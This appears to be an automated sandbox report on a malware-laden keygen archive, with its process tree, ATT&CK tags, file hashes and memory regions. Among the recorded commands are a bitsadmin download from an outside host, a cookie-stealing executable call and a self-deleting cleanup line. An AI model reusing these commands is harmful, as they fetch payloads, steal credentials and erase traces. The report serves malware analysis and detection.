C:\Users\Admin\AppData\Local\Temp\JVHKJImNPkvyIVhWzN\SXhaivC:\Users\Admin\AppData\Local\Temp\JVHKJImNPkvyIVhWzN\SXhaiv10⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\mLqwtUGeJWCFrqyFPg\OcAnMQC:\Users\Admin\AppData\Local\Temp\mLqwtUGeJWCFrqyFPg\OcAnMQ11⤵
- Suspicious behavior: LoadsDriver
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jubs0pbt.v5p\GcleanerWW.exe /mixone & exit8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xnxaf3x3.prj\SunLabsPlayer.exe /S & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\xnxaf3x3.prj\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\xnxaf3x3.prj\SunLabsPlayer.exe /S9⤵
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso8C8E.tmp\tempfile.ps1"10⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z10⤵
- Download via BitsAdmin
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\de0fcqlb.tai\app.exe /8-2222 & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\de0fcqlb.tai\app.exeC:\Users\Admin\AppData\Local\Temp\de0fcqlb.tai\app.exe /8-22229⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 35210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 34010⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 39210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 64410⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 65610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 69210⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 74410⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 74410⤵
- Suspicious use of SetThreadContext
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 53610⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 70010⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4812 -s 85210⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\de0fcqlb.tai\app.exe"C:\Users\Admin\AppData\Local\Temp\de0fcqlb.tai\app.exe" /8-222210⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 31611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 32011⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 36411⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 61611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 63611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 66411⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 59211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 67611⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 51211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 70411⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 76811⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 82011⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 69211⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 86411⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 127611⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\98D1.exeC:\Users\Admin\AppData\Local\Temp\98D1.exe1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\9C1E.exeC:\Users\Admin\AppData\Local\Temp\9C1E.exe1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\A556.exeC:\Users\Admin\AppData\Local\Temp\A556.exe1⤵
- Checks computer location settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\A8D2.exeC:\Users\Admin\AppData\Local\Temp\A8D2.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AFD8.exeC:\Users\Admin\AppData\Local\Temp\AFD8.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\BF1B.exeC:\Users\Admin\AppData\Local\Temp\BF1B.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\CA09.exeC:\Users\Admin\AppData\Local\Temp\CA09.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DD53.exeC:\Users\Admin\AppData\Local\Temp\DD53.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\647349126.exe"C:\Users\Admin\AppData\Local\Temp\647349126.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\1371397063.exe"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\E0FE.exeC:\Users\Admin\AppData\Local\Temp\E0FE.exe1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\E39F.exeC:\Users\Admin\AppData\Local\Temp\E39F.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\EB8F.exeC:\Users\Admin\AppData\Local\Temp\EB8F.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\F2F2.exeC:\Users\Admin\AppData\Local\Temp\F2F2.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\F2F2.exe"{path}"2⤵
-
C:\Users\Admin\AppData\Local\Temp\F9BA.exeC:\Users\Admin\AppData\Local\Temp\F9BA.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\331.exeC:\Users\Admin\AppData\Local\Temp\331.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\B7F.exeC:\Users\Admin\AppData\Local\Temp\B7F.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\27C2.exeC:\Users\Admin\AppData\Local\Temp\27C2.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\2E0C.exeC:\Users\Admin\AppData\Local\Temp\2E0C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\3716.exeC:\Users\Admin\AppData\Local\Temp\3716.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\3716.exe"C:\Users\Admin\AppData\Local\Temp\3716.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3B5D.exeC:\Users\Admin\AppData\Local\Temp\3B5D.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\435D.exeC:\Users\Admin\AppData\Local\Temp\435D.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\4A24.exeC:\Users\Admin\AppData\Local\Temp\4A24.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\5282.exeC:\Users\Admin\AppData\Local\Temp\5282.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\5282.exe"{path}"2⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 7496 -s 12602⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\E253.exeC:\Users\Admin\AppData\Local\Temp\E253.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im E253.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\E253.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im E253.exe /f3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\8B55.exeC:\Users\Admin\AppData\Local\Temp\8B55.exe1⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Defense Evasion
Virtualization/Sandbox Evasion
1Modify Registry
4BITS Jobs
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
c4b1e574080175f1c6e23da1975a256a
SHA1a337ac045550b1c55fb5202b95d47fc2af689519
SHA256f96cf73d1daff55bc3168135796a01d764b1522176353bcdfe638f6d48791237
SHA512e62e9d6c3f89b9e6a99a487dcf32172f970fa7e80d393c72e0c2d8d42d51b3bb1ce5c8ec55e5b12e3b045d552d6a76d19f9c06881f0d6ea28141844b2dc30087
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exeMD5
c615d0bfa727f494fee9ecb3f0acf563
SHA16c3509ae64abc299a7afa13552c4fe430071f087
SHA25695d91febc45d03c1ee477c127bcbd332cd6fbce1e91105004af723594e6f0199
SHA512d97256eb93d8e546f5fb5c61bebe61e7dfab316eb7685be83782bd36b28df3f80880e7b823197a4b6bae1af7b9460c4c81357dd44ed199ab93ccaee5acc10e51
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exeMD5
60290ece1dd50638640f092e9c992fd9
SHA1ed4c19916228dbbe3b48359a1da2bc2c78a0a162
SHA256b2df7da266e778e98107f64e0155071ac9e07ded4f556c7d7a3071dd5fbf5e06
SHA512928a2a951bb778b0d0a7ac681f66569bc9b707faf3878bf5f87b5b0ab117e34f6b846a5247bbb7aa2a086ecac8882b528a44be809e0900e177dae4b546dd32a4
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exeMD5
60290ece1dd50638640f092e9c992fd9
SHA1ed4c19916228dbbe3b48359a1da2bc2c78a0a162
SHA256b2df7da266e778e98107f64e0155071ac9e07ded4f556c7d7a3071dd5fbf5e06
SHA512928a2a951bb778b0d0a7ac681f66569bc9b707faf3878bf5f87b5b0ab117e34f6b846a5247bbb7aa2a086ecac8882b528a44be809e0900e177dae4b546dd32a4
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.batMD5
a12e7acce9c54e8f477830c938cd5bb7
SHA1482ac6ae9ea9ab1673e1444269bba2ef7a86794c
SHA256b5433a43058d8b81958e13064f7d5485b787d6812513600c27b913dc5c3b3bd0
SHA5125198b9b7f7ab17a0173a5eed18f3b1906ab3fc64da62cfb765ff43539acdcf3a0eafeefe6184f51f1fbebaacdb0bdf422572b4b3ba70de0b116c779f5e1b7174
-
\??\pipe\crashpad_1824_HHFJZDKFSVSGFLXMMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\pipe\crashpad_4240_UKUXVTIZTRUTWWHRMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/372-220-0x0000000000000000-mapping.dmp
-
memory/412-301-0x0000000002250000-0x0000000002252000-memory.dmpFilesize
8KB
-
memory/948-272-0x000002607D100000-0x000002607D172000-memory.dmpFilesize
456KB
-
memory/1008-264-0x0000024AF7710000-0x0000024AF7782000-memory.dmpFilesize
456KB
-
memory/1056-162-0x0000000000000000-mapping.dmp
-
memory/1088-270-0x000001FFCE870000-0x000001FFCE8E2000-memory.dmpFilesize
456KB
-
memory/1172-303-0x00000000005D0000-0x00000000005D2000-memory.dmpFilesize
8KB
-
memory/1172-305-0x00000000005D2000-0x00000000005D4000-memory.dmpFilesize
8KB
-
memory/1172-306-0x00000000005D4000-0x00000000005D5000-memory.dmpFilesize
4KB
-
memory/1172-307-0x00000000005D5000-0x00000000005D7000-memory.dmpFilesize
8KB
-
memory/1200-149-0x0000000000000000-mapping.dmp
-
memory/1256-278-0x000001C9FE0A0000-0x000001C9FE112000-memory.dmpFilesize
456KB
-
memory/1348-280-0x000001BD98200000-0x000001BD98272000-memory.dmpFilesize
456KB
-
memory/1436-274-0x0000029497B00000-0x0000029497B72000-memory.dmpFilesize
456KB
-
memory/1688-257-0x00000275A4300000-0x00000275A4372000-memory.dmpFilesize
456KB
-
memory/1688-256-0x00000275A4240000-0x00000275A428B000-memory.dmpFilesize
300KB
-
memory/1772-123-0x00007FFC21A40000-0x00007FFC21A41000-memory.dmpFilesize
4KB
-
memory/1772-121-0x0000000000000000-mapping.dmp
-
memory/1772-311-0x0000000000400000-0x0000000000448000-memory.dmpFilesize
288KB
-
memory/1868-276-0x00000223F2550000-0x00000223F25C2000-memory.dmpFilesize
456KB
-
memory/1892-122-0x0000000000000000-mapping.dmp
-
memory/2100-300-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/2120-144-0x0000000000000000-mapping.dmp
-
memory/2304-266-0x00000174F0280000-0x00000174F02F2000-memory.dmpFilesize
456KB
-
memory/2340-268-0x000001B23FFB0000-0x000001B240022000-memory.dmpFilesize
456KB
-
memory/2352-128-0x0000000000000000-mapping.dmp
-
memory/2356-155-0x0000000000000000-mapping.dmp
-
memory/2488-260-0x000001ED2C1D0000-0x000001ED2C242000-memory.dmpFilesize
456KB
-
memory/2568-284-0x0000020869550000-0x00000208695C2000-memory.dmpFilesize
456KB
-
memory/2592-282-0x000001C46D440000-0x000001C46D4B2000-memory.dmpFilesize
456KB
-
memory/2592-314-0x000001C46C5B0000-0x000001C46C5FB000-memory.dmpFilesize
300KB
-
memory/2608-216-0x0000000000000000-mapping.dmp
-
memory/2632-215-0x0000000000000000-mapping.dmp
-
memory/2644-297-0x0000000002AC0000-0x0000000002AC2000-memory.dmpFilesize
8KB
-
memory/2648-133-0x0000000000000000-mapping.dmp
-
memory/3100-116-0x0000000000000000-mapping.dmp
-
memory/3220-140-0x0000000000000000-mapping.dmp
-
memory/3516-299-0x0000000000400000-0x0000000000416000-memory.dmpFilesize
88KB
-
memory/3568-210-0x0000000000000000-mapping.dmp
-
memory/3796-226-0x0000000000000000-mapping.dmp
-
memory/3824-201-0x0000000000000000-mapping.dmp
-
memory/3856-217-0x0000000000000000-mapping.dmp
-
memory/3856-198-0x0000000000000000-mapping.dmp
-
memory/4012-252-0x00000000032B0000-0x000000000344C000-memory.dmpFilesize
1.6MB
-
memory/4012-290-0x0000000003B10000-0x0000000003BFF000-memory.dmpFilesize
956KB
-
memory/4012-291-0x0000000001120000-0x0000000001121000-memory.dmpFilesize
4KB
-
memory/4012-292-0x0000000000FD0000-0x000000000111A000-memory.dmpFilesize
1.3MB
-
memory/4180-302-0x0000000002490000-0x0000000002492000-memory.dmpFilesize
8KB
-
